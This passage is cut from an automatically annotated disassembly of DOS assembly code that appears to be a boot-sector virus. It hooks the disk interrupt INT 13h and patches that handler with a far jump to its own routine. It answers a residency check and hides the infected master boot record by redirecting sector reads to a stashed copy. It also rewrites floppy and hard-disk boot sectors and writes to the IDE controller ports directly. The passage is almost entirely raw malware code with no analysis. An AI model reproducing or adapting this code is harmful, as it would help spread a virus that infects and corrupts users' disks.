  3967. 1999   ,                mov     dx,offset int_16h_entry
  3968. 199C                    mov     ax,2516h
  3969. 199F                    int     21h                     ; DOS Services  ah=function 25h
  3970.                                                         ;  set intrpt vector al to ds:dx
  3971. 19A1                    push    cs
  3972. 19A2                    pop     es
  3973. 19A3                    mov     bx,[bp+PARAMETER_3]
  3974. 19A6                    mov     cx,[bp+PARAMETER_2]
  3975. 19A9                    mov     dx,[bp+PARAMETER_1]
  3976. 19AC    loc_227:                                        ;  xref 9804:19C3
  3977. 19AC                    mov     ax,[bp+PARAMETER_4]
  3978. 19AF                    call    sub_59                  ; (18A5)
  3979. 19B2                    jnc     loc_228                 ; Jump if carry=0
  3980. 19B4                    mov     ax,word ptr ds:[18EEh]  ; (9804:18EE=0)
  3981. 19B7                    add     al,4
  3982. 19B9                    mov     word ptr ds:[18EEh],ax  ; (9804:18EE=0)
  3983. 19BC                    mov     byte ptr ds:[18F0h],0   ; (9804:18F0=2)
  3984. 19C1                    cmp     al,0Ch
  3985. 19C3                    jbe     loc_227                 ; Jump if below or =
  3986. 19C5                    stc                             ; Set carry flag
  3987. 19C6    loc_228:                                        ;  xref 9804:19B2
  3988. 19C6                    pushf                           ; Push flags
  3989. 19C7                    push    ds
  3990. 19C8                    lds     dx,dword ptr ds:[18E9h] ; (9804:18E9=42Dh) Load seg:offset ptr
  3991. 19CC                    mov     ax,2516h
  3992. 19CF                    int     21h                     ; DOS Services  ah=function 25h
  3993.                                                         ;  set intrpt vector al to ds:dx
  3994. 19D1                    pop     ds
  3995. 19D2                    popf                            ; Pop flags
  3996. 19D3                    pop     bp
  3997. 19D4                    retn    8
  3998.         sub_63          endp
  3999.  
  4000.  
  4001.         ;==========================================================================
  4002.         ;                              SUBROUTINE
  4003.         ;
  4004.         ;         Called from:   9804:1405, 16C6, 16EA
  4005.         ;==========================================================================
  4006.  
  4007. 19D7    sub_64          proc    near
  4008. 19D7                    call    sub_67                  ; (1A73)
  4009. 19DA                    jc      loc_230                 ; Jump if carry Set
  4010. 19DC                    jmp     short loc_231           ; (19E8)
  4011. 19DE    loc_229:                                        ;  xref 9804:19F3
  4012. 19DE                    pop     es
  4013. 19DF                    pop     dx
  4014. 19E0                    pop     cx
  4015. 19E1                    pop     bx
  4016. 19E2                    pop     ax
  4017. 19E3    loc_230:                                        ;  xref 9804:19DA
  4018. 19E3                    call    sub_59                  ; (18A5)
  4019. 19E6                    jmp     short loc_ret_234       ; (1A61)
  4020. 19E8    loc_231:                                        ;  xref 9804:19DC
  4021. 19E8                    push    ax
  4022. 19E9                    push    bx
  4023. 19EA                    push    cx
  4024. 19EB                    push    dx
  4025. 19EC                    push    es
  4026. 19ED                    mov     di,4
  4027. 19F0    loc_232:                                        ;  xref 9804:1A5A
  4028. 19F0                    mov     si,bx
  4029. 19F2                    dec     di
  4030. 19F3                    jz      loc_229                 ; Jump if zero
  4031. 19F5                    mov     ah,0
  4032. 19F7                    mov     dl,80h
  4033. 19F9                    int     13h                     ; Disk  dl=drive 0  ah=func 00h
  4034.                                                         ;  reset disk, al=return status
  4035. 19FB                    xor     ax,ax                   ; Zero register
  4036. 19FD                    mov     es,ax
  4037. 19FF                    mov     es:data_22e,al          ; (0000:048E=0)
  4038. 1A03                    cld                             ; Clear direction
  4039. 1A04                    mov     dx,3F6h
  4040. 1A07                    mov     al,4
  4041. 1A09                    out     dx,al                   ; port 3F6h  al = 4, reset controller
  4042. 1A0A                    jmp     short $+2               ; delay for I/O
  4043. 1A0C                    jmp     short $+2               ; delay for I/O
  4044. 1A0E                    mov     al,0
  4045. 1A10                    out     dx,al                   ; port 3F6h  al = 0, hdsk0 register
  4046. 1A11                    call    sub_65                  ; (1A62)
  4047. 1A14                    mov     dx,1F2h
  4048. 1A17                    mov     al,1
  4049. 1A19                    out     dx,al                   ; port 1F2h, hdsk0-sector count
  4050. 1A1A                    jmp     short $+2               ; delay for I/O
  4051. 1A1C                    jmp     short $+2               ; delay for I/O
  4052. 1A1E                    inc     dx
  4053. 1A1F                    mov     al,1
  4054. 1A21                    out     dx,al                   ; port 1F3h, hdsk0-sector numbr
  4055. 1A22                    jmp     short $+2               ; delay for I/O
  4056. 1A24                    jmp     short $+2               ; delay for I/O
  4057. 1A26                    inc     dx
  4058. 1A27                    mov     al,0
  4059. 1A29                    out     dx,al                   ; port 1F4h, hdsk0-cylr,lo byte
  4060. 1A2A                    jmp     short $+2               ; delay for I/O
  4061. 1A2C                    jmp     short $+2               ; delay for I/O
  4062. 1A2E                    inc     dx
  4063. 1A2F                    mov     al,0
  4064. 1A31                    out     dx,al                   ; port 1F5h, hdsk0-cylr,hi byte
  4065. 1A32                    jmp     short $+2               ; delay for I/O
  4066. 1A34                    jmp     short $+2               ; delay for I/O
  4067. 1A36                    inc     dx
  4068. 1A37                    mov     al,0A0h
  4069. 1A39                    out     dx,al                   ; port 1F6h, hdsk0-siz/drv/head
  4070. 1A3A                    jmp     short $+2               ; delay for I/O
  4071. 1A3C                    jmp     short $+2               ; delay for I/O
  4072. 1A3E                    inc     dx
  4073. 1A3F                    mov     al,31h                  ; '1'
  4074. 1A41                    out     dx,al                   ; port 1F7h, hdsk0-command reg
  4075. 1A42                    call    sub_66                  ; (1A6B)
  4076. 1A45                    mov     cx,100h
  4077. 1A48                    mov     dx,1F0h
  4078. 1A4B                    db      0F3h, 6Fh
  4079. 1A4D    loc_233:                                        ;  xref 9804:1A53
  4080. 1A4D                    mov     al,es:data_22e          ; (0000:048E=0)
  4081. 1A51                    or      al,al                   ; Zero ?
  4082. 1A53                    jz      loc_233                 ; Jump if zero
  4083. 1A55                    call    sub_65                  ; (1A62)
  4084. 1A58                    test    al,21h                  ; '!'
  4085. 1A5A                    jnz     loc_232                 ; Jump if not zero
  4086. 1A5C                    pop     es
  4087. 1A5D                    pop     dx
  4088. 1A5E                    pop     cx
  4089. 1A5F                    pop     bx
  4090. 1A60                    pop     ax
  4091.  
  4092. 1A61    loc_ret_234:                                    ;  xref 9804:19E6
  4093. 1A61                    retn
  4094.         sub_64          endp
  4095.  
  4096.  
  4097.         ;==========================================================================
  4098.         ;                              SUBROUTINE
  4099.         ;
  4100.         ;         Called from:   9804:1A11, 1A55, 1A6B
  4101.         ;==========================================================================
  4102.  
  4103. 1A62    sub_65          proc    near
  4104. 1A62                    mov     dx,1F7h
  4105. 1A65    loc_235:                                        ;  xref 9804:1A68
  4106. 1A65                    in      al,dx                   ; port 1F7h, hdsk0-status reg
  4107. 1A66                    test    al,80h
  4108. 1A68                    jnz     loc_235                 ; Jump if not zero
  4109. 1A6A                    retn
  4110.         sub_65          endp
  4111.  
  4112.  
  4113.         ;==========================================================================
  4114.         ;                              SUBROUTINE
  4115.         ;
  4116.         ;         Called from:   9804:1A42
  4117.         ;==========================================================================
  4118.  
  4119. 1A6B    sub_66          proc    near
  4120. 1A6B    loc_236:                                        ;  xref 9804:1A70
  4121. 1A6B                    call    sub_65                  ; (1A62)
  4122. 1A6E                    test    al,8
  4123. 1A70                    jz      loc_236                 ; Jump if zero
  4124. 1A72                    retn
  4125.         sub_66          endp
  4126.  
  4127.  
  4128.         ;==========================================================================
  4129.         ;                              SUBROUTINE
  4130.         ;
  4131.         ;         Called from:   9804:19D7
  4132.         ;==========================================================================
  4133.  
  4134. 1A73    sub_67          proc    near
  4135. 1A73                    push    ax
  4136. 1A74                    push    bx
  4137. 1A75                    mov     ax,sp
  4138. 1A77                    push    sp
  4139. 1A78                    pop     bx
  4140. 1A79                    stc                             ; Set carry flag
  4141. 1A7A                    pushf                           ; Push flags
  4142. 1A7B                    cmp     ax,bx
  4143. 1A7D                    jne     loc_237                 ; Jump if not equal
  4144. 1A7F                    mov     al,12h
  4145. 1A81                    call    sub_68                  ; (1A96)
  4146. 1A84                    popf                            ; Pop flags
  4147. 1A85                    clc                             ; Clear carry flag
  4148. 1A86                    pushf                           ; Push flags
  4149. 1A87                    and     ah,0F0h
  4150. 1A8A                    cmp     ah,10h
  4151. 1A8D                    ja      loc_237                 ; Jump if above
  4152. 1A8F                    popf                            ; Pop flags
  4153. 1A90                    stc                             ; Set carry flag
  4154. 1A91                    pushf                           ; Push flags
  4155. 1A92    loc_237:                                        ;  xref 9804:1A7D, 1A8D
  4156. 1A92                    popf                            ; Pop flags
  4157. 1A93                    pop     bx
  4158. 1A94                    pop     ax
  4159. 1A95                    retn
  4160.         sub_67          endp
  4161.  
  4162.  
  4163.         ;==========================================================================
  4164.         ;                              SUBROUTINE
  4165.         ;
  4166.         ;         Called from:   9804:1A81
  4167.         ;==========================================================================
  4168.  
  4169. 1A96    sub_68          proc    near
  4170. 1A96                    push    bx
  4171. 1A97                    mov     bl,al
  4172. 1A99                    or      al,80h
  4173. 1A9B                    cli                             ; Disable interrupts
  4174. 1A9C                    out     70h,al                  ; port 70h, CMOS addr,bit7=NMI
  4175.                                                         ;  al = 92h, hard disk type
  4176. 1A9E                    jmp     short $+2               ; delay for I/O
  4177. 1AA0                    jmp     short $+2               ; delay for I/O
  4178. 1AA2                    in      al,71h                  ; port 71h, CMOS data
  4179. 1AA4                    mov     ah,al
  4180. 1AA6                    xor     al,al                   ; Zero register
  4181. 1AA8                    jmp     short $+2               ; delay for I/O
  4182. 1AAA                    jmp     short $+2               ; delay for I/O
  4183. 1AAC                    out     70h,al                  ; port 70h, CMOS addr,bit7=NMI
  4184.                                                         ;  al = 0, seconds register
  4185. 1AAE                    sti                             ; Enable interrupts
  4186. 1AAF                    mov     al,bl
  4187. 1AB1                    pop     bx
  4188. 1AB2                    retn
  4189.         sub_68          endp
  4190.  
  4191. 1AB3                    db      0, 0, 0, 0, 0
  4192.  
  4193.         ;==========================================================================
  4194.         ;                              SUBROUTINE
  4195.         ;
  4196.         ;         Called from:   9804:17E2, 189E
  4197.         ;==========================================================================
  4198.  
  4199. 1AB8    sub_69          proc    near
  4200. 1AB8                    push    cs
  4201. 1AB9                    pop     es
  4202. 1ABA   ,                mov     di,1AB3h                ; (9804:1AB3=0)
  4203. 1ABD                    lds     si,dword ptr es:[1447h] ; (9804:1447=2597h) Load seg:offset pt
  4204. 1AC2                    cld                             ; Clear direction
  4205. 1AC3                    movsw                           ; Mov [si] to es:[di]
  4206. 1AC4                    movsw                           ; Mov [si] to es:[di]
  4207. 1AC5                    movsb                           ; Mov [si] to es:[di]
  4208. 1AC6                    retn
  4209.         sub_69          endp
  4210.  
  4211.  
  4212.         ;==========================================================================
  4213.         ;                              SUBROUTINE
  4214.         ;
  4215.         ;         Called from:   9804:17E5, 1811, 18A1, 1B31, 1B8C, 1BF4, 1CFE
  4216.         ;                             1D79
  4217.         ;==========================================================================
  4218.  
  4219. 1AC7    sub_70          proc    near
  4220. 1AC7                    push    ds
  4221. 1AC8                    push    si
  4222. 1AC9                    push    ax
  4223. 1ACA                    pushf                           ; Push flags
  4224. 1ACB                    test    byte ptr cs:[16CAh],2   ; (9804:16CA=2)
  4225. 1AD1                    jnz     loc_238                 ; Jump if not zero
  4226. 1AD3                    lds     si,dword ptr cs:[1447h] ; (9804:1447=2597h) Load seg:offset pt
  4227. 1AD8                    mov     byte ptr [si],0EAh
  4228. 1ADB                    mov     word ptr [si+1],1B37h
  4229. 1AE0                    mov     [si+3],cs
  4230. 1AE3    loc_238:                                        ;  xref 9804:1AD1
  4231. 1AE3                    popf                            ; Pop flags
  4232. 1AE4                    pop     ax
  4233. 1AE5                    pop     si
  4234. 1AE6                    pop     ds
  4235. 1AE7                    retn
  4236.         sub_70          endp
  4237.  
  4238.  
  4239.         ;==========================================================================
  4240.         ;                              SUBROUTINE
  4241.         ;
  4242.         ;         Called from:   9804:04E7, 1808, 1B44
  4243.         ;==========================================================================
  4244.  
  4245. 1AE8    sub_71          proc    near
  4246. 1AE8                    pushf                           ; Push flags
  4247. 1AE9                    push    cx
  4248. 1AEA                    push    di
  4249. 1AEB                    push    si
  4250. 1AEC                    push    ds
  4251. 1AED                    push    es
  4252. 1AEE                    push    cs
  4253. 1AEF                    pop     ds
  4254. 1AF0                    test    byte ptr ds:[16CAh],2   ; (9804:16CA=2)
  4255. 1AF5                    jnz     loc_239                 ; Jump if not zero
  4256. 1AF7                    cli                             ; Disable interrupts
  4257. 1AF8   ,                mov     si,1AB3h                ; (9804:1AB3=0)
  4258. 1AFB                    les     di,dword ptr ds:[1447h] ; (9804:1447=2597h) Load seg:offset pt
  4259. 1AFF                    cld                             ; Clear direction
  4260. 1B00                    mov     cx,5
  4261. 1B03                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  4262. 1B05    loc_239:                                        ;  xref 9804:1AF5
  4263. 1B05                    sti                             ; Enable interrupts
  4264. 1B06                    pop     es
  4265. 1B07                    pop     ds
  4266. 1B08                    pop     si
  4267. 1B09                    pop     di
  4268. 1B0A                    pop     cx
  4269. 1B0B                    popf                            ; Pop flags
  4270. 1B0C                    retn
  4271.         sub_71          endp
  4272.  
  4273. 1B0D                    db      0, 0
  4274. 1B0F    data_149        dw      0                       ;  xref 9804:1890
  4275. 1B11    data_150        dw      3AFFh                   ;  xref 9804:13C2, 1B7E
  4276. 1B13    data_151        dw      0                       ;  xref 9804:170D, 179B
  4277. 1B15    data_152        db      0                       ;  xref 9804:1C27
  4278. 1B16    data_153        db      0                       ;  xref 9804:1B1A, 1B2A, 1C11, 1CA8
  4279. 1B17    data_154        db      0                       ;  xref 9804:1D69, 1D74, 1D90, 1DCE
  4280. 1B18                    db      0
  4281. 1B19    loc_240:                                        ;  xref 9804:1B6A
  4282. 1B19   ,                popf                            ; Pop flags
  4283. 1B1A                    mov     cs:data_153,ah          ; (9804:1B16=0)
  4284. 1B1F                    call    sub_59                  ; (18A5)
  4285. 1B22                    pushf                           ; Push flags
  4286. 1B23                    or      ah,ah                   ; Zero ?
  4287. 1B25                    jz      loc_241                 ; Jump if zero
  4288. 1B27                    jmp     loc_253                 ; (1BFD)
  4289. 1B2A    loc_241:                                        ;  xref 9804:1B25, 1CB0
  4290. 1B2A                    mov     cs:data_153,0           ; (9804:1B16=0)
  4291. 1B30                    popf                            ; Pop flags
  4292. 1B31                    call    sub_70                  ; (1AC7)
  4293. 1B34                    retf    2                       ; Return far
  4294. 1B37                    pushf                           ; Push flags
  4295. 1B38                    cmp     ax,5445h
  4296. 1B3B                    jne     loc_242                 ; Jump if not equal
  4297. 1B3D                    mov     ax,4554h
  4298. 1B40                    popf                            ; Pop flags
  4299. 1B41                    retf    2                       ; Return far
  4300. 1B44    loc_242:                                        ;  xref 9804:1B3B
  4301. 1B44                    call    sub_71                  ; (1AE8)
  4302. 1B47                    cmp     dx,80h
  4303. 1B4B                    jne     loc_243                 ; Jump if not equal
  4304. 1B4D                    cmp     cx,1
  4305. 1B50                    jne     loc_243                 ; Jump if not equal
  4306. 1B52                    cmp     ah,3
  4307. 1B55                    ja      loc_243                 ; Jump if above
  4308. 1B57                    cmp     ah,2
  4309. 1B5A                    jb      loc_243                 ; Jump if below
  4310. 1B5C                    popf                            ; Pop flags
  4311. 1B5D                    jmp     short loc_247           ; (1B92)
  4312. 1B5F                    nop
  4313. 1B60    loc_243:                                        ;  xref 9804:1B4B, 1B50, 1B55, 1B5A
  4314. 1B60                    cmp     dl,80h
  4315. 1B63                    jae     loc_245                 ; Jump if above or =
  4316. 1B65                    cmp     ah,16h
  4317. 1B68                    jne     loc_244                 ; Jump if not equal
  4318. 1B6A                    jmp     short loc_240           ; (1B19)
  4319. 1B6C    loc_244:                                        ;  xref 9804:1B68
  4320. 1B6C                    cmp     ah,5
  4321. 1B6F                    jae     loc_245                 ; Jump if above or =
  4322. 1B71                    cmp     ah,1
  4323. 1B74                    jbe     loc_245                 ; Jump if below or =
  4324. 1B76                    jmp     loc_253                 ; (1BFD)
  4325. 1B79    loc_245:                                        ;  xref 9804:1B63, 1B6F, 1B74
  4326. 1B79                    cmp     dl,80h
  4327. 1B7C                    jne     loc_246                 ; Jump if not equal
  4328. 1B7E                    cmp     cs:data_150,cx          ; (9804:1B11=3AFFh)
  4329. 1B83                    jne     loc_246                 ; Jump if not equal
  4330. 1B85                    and     ch,2
  4331. 1B88    loc_246:                                        ;  xref 9804:1B7C, 1B83, 1CCF
  4332. 1B88   ,                popf                            ; Pop flags
  4333. 1B89                    call    sub_59                  ; (18A5)
  4334. 1B8C                    call    sub_70                  ; (1AC7)
  4335. 1B8F                    retf    2                       ; Return far
  4336. 1B92    loc_247:                                        ;  xref 9804:1B5D
  4337. 1B92                    push    bx
  4338. 1B93                    push    cx
  4339. 1B94                    push    dx
  4340. 1B95                    push    es
  4341. 1B96                    cmp     ah,2
  4342. 1B99                    je      loc_248                 ; Jump if equal
  4343. 1B9B                    jmp     short loc_249           ; (1BBB)
  4344. 1B9D    loc_248:                                        ;  xref 9804:1B99
  4345. 1B9D                    call    sub_59                  ; (18A5)
  4346. 1BA0                    pushf                           ; Push flags
  4347. 1BA1                    push    ax
  4348. 1BA2                    push    bx
  4349. 1BA3                    mov     ah,8
  4350. 1BA5                    mov     dl,80h
  4351. 1BA7                    call    sub_59                  ; (18A5)
  4352. 1BAA                    inc     ch
  4353. 1BAC                    dec     dh
  4354. 1BAE                    mov     dl,80h
  4355. 1BB0                    mov     ax,201h
  4356. 1BB3                    pop     bx
  4357. 1BB4                    call    sub_59                  ; (18A5)
  4358. 1BB7                    pop     ax
  4359. 1BB8                    popf                            ; Pop flags
  4360. 1BB9                    jmp     short loc_251           ; (1BF0)
  4361. 1BBB    loc_249:                                        ;  xref 9804:1B9B
  4362. 1BBB                    push    ds
  4363. 1BBC                    push    di
  4364. 1BBD                    push    si
  4365. 1BBE                    push    ax
  4366. 1BBF                    dec     al
  4367. 1BC1                    push    es
  4368. 1BC2                    push    bx
  4369. 1BC3                    jz      loc_250                 ; Jump if zero
  4370. 1BC5                    add     bx,200h
  4371. 1BC9                    inc     cl
  4372. 1BCB                    call    sub_59                  ; (18A5)
  4373. 1BCE                    dec     cl
  4374. 1BD0    loc_250:                                        ;  xref 9804:1BC3
  4375. 1BD0                    mov     ah,8
  4376. 1BD2                    mov     dl,80h
  4377. 1BD4                    call    sub_59                  ; (18A5)
  4378. 1BD7                    pop     bx
  4379. 1BD8                    pop     es
  4380. 1BD9                    inc     ch
  4381. 1BDB                    dec     dh
  4382. 1BDD                    mov     dl,80h
  4383. 1BDF                    mov     ax,301h
  4384. 1BE2                    call    sub_53                  ; (163C)
  4385. 1BE5                    call    sub_59                  ; (18A5)
  4386. 1BE8                    mov     bx,ax
  4387. 1BEA                    pop     ax
  4388. 1BEB                    mov     al,bl
  4389. 1BED                    pop     si
  4390. 1BEE                    pop     di
  4391. 1BEF                    pop     ds
  4392. 1BF0    loc_251:                                        ;  xref 9804:1BB9
  4393. 1BF0                    pop     es
  4394. 1BF1                    pop     dx
  4395. 1BF2                    pop     cx
  4396. 1BF3                    pop     bx
  4397. 1BF4                    call    sub_70                  ; (1AC7)
  4398. 1BF7                    retf    2                       ; Return far
  4399. 1BFA    loc_252:                                        ;  xref 9804:1C1D, 1C43, 1C51
  4400. 1BFA                    jmp     loc_258                 ; (1CA0)
  4401. 1BFD    loc_253:                                        ;  xref 9804:1B27, 1B76
  4402. 1BFD                    push    ax
  4403. 1BFE                    push    bx
  4404. 1BFF                    push    cx
  4405. 1C00                    push    dx
  4406. 1C01                    push    es
  4407. 1C02                    push    ds
  4408. 1C03                    push    si
  4409. 1C04                    push    di
  4410. 1C05                    xor     ax,ax                   ; Zero register
  4411. 1C07                    mov     ds,ax
  4412. 1C09                    xor     ch,ch                   ; Zero register
  4413. 1C0B                    mov     cl,dl
  4414. 1C0D                    inc     al
  4415. 1C0F                    shl     al,cl                   ; Shift w/zeros fill
  4416. 1C11                    cmp     cs:data_153,0           ; (9804:1B16=0)
  4417. 1C17                    jne     loc_254                 ; Jump if not equal
  4418. 1C19                    test    al,ds:data_21e          ; (0000:043F=0)
  4419. 1C1D                    jnz     loc_252                 ; Jump if not zero
  4420. 1C1F    loc_254:                                        ;  xref 9804:1C17
  4421. 1C1F                    push    cs
  4422. 1C20                    pop     ds
  4423. 1C21                    push    ds
  4424. 1C22                    pop     es
  4425. 1C23                    mov     cl,4
  4426. 1C25                    shl     al,cl                   ; Shift w/zeros fill
  4427. 1C27                    mov     data_152,al             ; (9804:1B15=0)
  4428. 1C2A                    mov     si,3
  4429. 1C2D    loc_255:                                        ;  xref 9804:1C45
  4430. 1C2D   ,                xor     ax,ax                   ; Zero register
  4431. 1C2F                    call    sub_59                  ; (18A5)
  4432. 1C32                    mov     ax,201h
  4433. 1C35                    mov     cx,1
  4434. 1C38                    mov     dh,ch
  4435. 1C3A                    mov     bx,1E6Ah
  4436. 1C3D                    call    sub_59                  ; (18A5)
  4437. 1C40                    jnc     loc_256                 ; Jump if carry=0
  4438. 1C42                    dec     si
  4439. 1C43                    jz      loc_252                 ; Jump if zero
  4440. 1C45                    jmp     short loc_255           ; (1C2D)
  4441. 1C47    loc_256:                                        ;  xref 9804:1C40
  4442. 1C47                    mov     ax,ds:data_171e         ; (9804:1F6C=0)
  4443. 1C4A                    sub     ax,ds:data_170e         ; (9804:1F6A=0)
  4444. 1C4E                    cmp     ax,0CCFFh
  4445. 1C51                    je      loc_252                 ; Jump if equal
  4446. 1C53                    call    sub_72                  ; (1D80)
  4447. 1C56                    call    sub_73                  ; (1D8E)
  4448. 1C59                    jnc     loc_257                 ; Jump if carry=0
  4449. 1C5B                    mov     ax,401h
  4450. 1C5E                    xor     cx,cx                   ; Zero register
  4451. 1C60                    inc     cx
  4452. 1C61                    mov     dh,ch
  4453. 1C63                    call    sub_59                  ; (18A5)
  4454. 1C66                    jmp     short loc_258           ; (1CA0)
  4455. 1C68    loc_257:                                        ;  xref 9804:1C59
  4456. 1C68                    xor     bx,bx                   ; Zero register
  4457. 1C6A                    mov     cl,1
  4458. 1C6C                    mov     ax,310h
  4459. 1C6F                    call    sub_59                  ; (18A5)
  4460. 1C72                    jc      loc_258                 ; Jump if carry Set
  4461. 1C74                    mov     bx,1E6Ah
  4462. 1C77                    mov     cl,11h
  4463. 1C79                    mov     ax,301h
  4464. 1C7C                    call    sub_59                  ; (18A5)
  4465. 1C7F                    jc      loc_258                 ; Jump if carry Set
  4466. 1C81                    mov     bl,2
  4467. 1C83                    push    dx
  4468. 1C84                    call    sub_49                  ; (1462)
  4469. 1C87                    pop     dx
  4470. 1C88                    mov     cx,1
  4471. 1C8B                    xor     dh,dh                   ; Zero register
  4472. 1C8D                    mov     bx,1E6Ah
  4473. 1C90                    mov     byte ptr data_157,0EBh  ; (9804:1E6A=98h)
  4474. 1C95                    mov     byte ptr data_157+1,3Ch ; (9804:1E6B=0BCh) '<'
  4475. 1C9A                    mov     ax,301h
  4476. 1C9D                    call    sub_59                  ; (18A5)
  4477. 1CA0    loc_258:                                        ;  xref 9804:1BFA, 1C66, 1C72, 1C7F
  4478. 1CA0                    pop     di
  4479. 1CA1                    pop     si
  4480. 1CA2                    pop     ds
  4481. 1CA3                    pop     es
  4482. 1CA4                    pop     dx
  4483. 1CA5                    pop     cx
  4484. 1CA6                    pop     bx
  4485. 1CA7                    pop     ax
  4486. 1CA8                    cmp     cs:data_153,0           ; (9804:1B16=0)
  4487. 1CAE                    je      loc_259                 ; Jump if equal
  4488. 1CB0                    jmp     loc_241                 ; (1B2A)
  4489. 1CB3    loc_259:                                        ;  xref 9804:1CAE
  4490. 1CB3                    cmp     dh,0
  4491. 1CB6                    jne     loc_260                 ; Jump if not equal
  4492. 1CB8                    cmp     cx,1
  4493. 1CBB                    jne     loc_260                 ; Jump if not equal
  4494. 1CBD                    test    cs:data_59,4            ; (9804:018C=4)
  4495. 1CC3                    jnz     loc_260                 ; Jump if not zero
  4496. 1CC5                    cmp     ah,2
  4497. 1CC8                    je      loc_261                 ; Jump if equal
  4498. 1CCA                    cmp     ah,3
  4499. 1CCD                    je      loc_263                 ; Jump if equal
  4500. 1CCF    loc_260:                                        ;  xref 9804:1CB6, 1CBB, 1CC3
  4501. 1CCF                    jmp     loc_246                 ; (1B88)
  4502. 1CD2    loc_261:                                        ;  xref 9804:1CC8
  4503. 1CD2                    popf                            ; Pop flags
  4504. 1CD3                    call    sub_59                  ; (18A5)
  4505. 1CD6                    pushf                           ; Push flags
  4506. 1CD7                    push    ax
  4507. 1CD8                    push    bx
  4508. 1CD9                    push    cx
  4509. 1CDA                    push    dx
  4510. 1CDB                    push    es
  4511. 1CDC                    jc      loc_262                 ; Jump if carry Set
  4512. 1CDE                    mov     ax,word ptr es:[102h][bx] ; (9804:0102=0E800h)
  4513. 1CE3                    sub     ax,word ptr es:[100h][bx] ; (9804:0100=860Eh)
  4514. 1CE8                    cmp     ax,0CCFFh
  4515. 1CEB                    jne     loc_262                 ; Jump if not equal
  4516. 1CED                    mov     ch,51h                  ; 'Q'
  4517. 1CEF                    mov     cl,11h
  4518. 1CF1                    mov     dh,1
  4519. 1CF3                    mov     ax,201h
  4520. 1CF6                    call    sub_59                  ; (18A5)
  4521. 1CF9    loc_262:                                        ;  xref 9804:1CDC, 1CEB
  4522. 1CF9                    pop     es
  4523. 1CFA                    pop     dx
  4524. 1CFB                    pop     cx
  4525. 1CFC                    pop     bx
  4526. 1CFD                    pop     ax
  4527. 1CFE                    call    sub_70                  ; (1AC7)
  4528. 1D01                    popf                            ; Pop flags
  4529. 1D02                    retf    2                       ; Return far
  4530. 1D05    loc_263:                                        ;  xref 9804:1CCD
  4531. 1D05                    push    ax
  4532. 1D06                    push    bx
  4533. 1D07                    push    es
  4534. 1D08                    push    cs
  4535. 1D09                    pop     es
  4536. 1D0A                    mov     ax,201h
  4537. 1D0D                    mov     bx,1E6Ah
  4538. 1D10                    call    sub_59                  ; (18A5)
  4539. 1D13                    pop     es
  4540. 1D14                    pop     bx
  4541. 1D15                    pop     ax
  4542. 1D16                    push    ax
  4543. 1D17                    dec     al
  4544. 1D19                    jz      loc_264                 ; Jump if zero
  4545. 1D1B                    add     bx,200h
  4546. 1D1F                    inc     cl
  4547. 1D21                    call    sub_59                  ; (18A5)
  4548. 1D24                    sub     bx,200h
  4549. 1D28                    dec     cl
  4550. 1D2A    loc_264:                                        ;  xref 9804:1D19
  4551. 1D2A                    push    di
  4552. 1D2B                    push    si
  4553. 1D2C                    push    ds
  4554. 1D2D                    push    es
  4555. 1D2E                    push    bx
  4556. 1D2F                    mov     ax,word ptr es:[102h][di] ; (9804:0102=0E800h)
  4557. 1D34                    sub     ax,word ptr es:[100h][di] ; (9804:0100=860Eh)
  4558. 1D39                    cmp     ax,0CCFFh
  4559. 1D3C                    jne     loc_265                 ; Jump if not equal
  4560. 1D3E                    mov     ch,51h                  ; 'Q'
  4561. 1D40                    mov     cl,11h
  4562. 1D42                    mov     dh,1
  4563. 1D44                    mov     ax,301h
  4564. 1D47                    call    sub_59                  ; (18A5)
  4565. 1D4A                    push    es
  4566. 1D4B                    pop     ds
  4567. 1D4C                    push    cs
  4568. 1D4D                    pop     es
  4569. 1D4E                    mov     si,bx
  4570. 1D50                    add     si,3
  4571. 1D53   ,                mov     di,offset data_159+1    ; (9804:1E6D=4Eh)
  4572. 1D56                    mov     cx,3Bh
  4573. 1D59                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  4574. 1D5B                    mov     bx,1E6Ah
  4575. 1D5E    loc_265:                                        ;  xref 9804:1D3C
  4576. 1D5E                    mov     dh,0
  4577. 1D60                    mov     cx,1
  4578. 1D63                    mov     ax,301h
  4579. 1D66                    call    sub_59                  ; (18A5)
  4580. 1D69                    mov     cs:data_154,ah          ; (9804:1B17=0)
  4581. 1D6E                    pop     bx
  4582. 1D6F                    pop     es
  4583. 1D70                    pop     ds
  4584. 1D71                    pop     si
  4585. 1D72                    pop     di
  4586. 1D73                    pop     ax
  4587. 1D74                    mov     ah,cs:data_154          ; (9804:1B17=0)
  4588. 1D79                    call    sub_70                  ; (1AC7)
  4589. 1D7C                    popf                            ; Pop flags
  4590. 1D7D                    retf    2                       ; Return far
  4591.  
  4592.         ;==========================================================================
  4593.         ;                              SUBROUTINE
  4594.         ;
  4595.         ;         Called from:   9804:1C53
  4596.         ;==========================================================================
  4597.  
  4598. 1D80    sub_72          proc    near
  4599. 1D80                    mov     al,byte ptr ds:data_166e+1 ; (9804:1E7F=0)
  4600. 1D83                    cmp     al,0FDh
  4601. 1D85                    je      loc_266                 ; Jump if equal
  4602. 1D87                    mov     ch,51h                  ; 'Q'
  4603. 1D89                    jmp     short loc_ret_267       ; (1D8D)
  4604. 1D8B    loc_266:                                        ;  xref 9804:1D85
  4605. 1D8B                    mov     ch,29h                  ; ')'
  4606.  
  4607. 1D8D    loc_ret_267:                                    ;  xref 9804:1D89
  4608. 1D8D                    retn
  4609.         sub_72          endp
  4610.  
  4611.  
  4612.         ;==========================================================================
  4613.         ;                              SUBROUTINE
  4614.         ;
  4615.         ;         Called from:   9804:1C56
  4616.         ;==========================================================================
  4617.  
  4618. 1D8E    sub_73          proc    near
  4619. 1D8E                    mov     dh,ch
  4620. 1D90                    mov     data_154,dl             ; (9804:1B17=0)
  4621. 1D94                    xor     ax,ax                   ; Zero register
  4622. 1D96                    mov     es,ax
  4623. 1D98                    les     di,dword ptr es:data_8e ; (0000:0078=522h) Load seg:offset ptr
  4624. 1D9D                    mov     ax,es:[di+3]
  4625. 1DA1                    push    ax
  4626. 1DA2                    mov     byte ptr es:[di+3],2
  4627. 1DA7                    mov     byte ptr es:[di+4],11h
  4628. 1DAC                    push    cs
  4629. 1DAD                    pop     es
  4630. 1DAE   ,                mov     di,data_174e            ; (9804:206A=0)
  4631. 1DB1                    cld                             ; Clear direction
  4632. 1DB2                    mov     cx,11h
  4633. 1DB5                    mov     dl,1
  4634.  
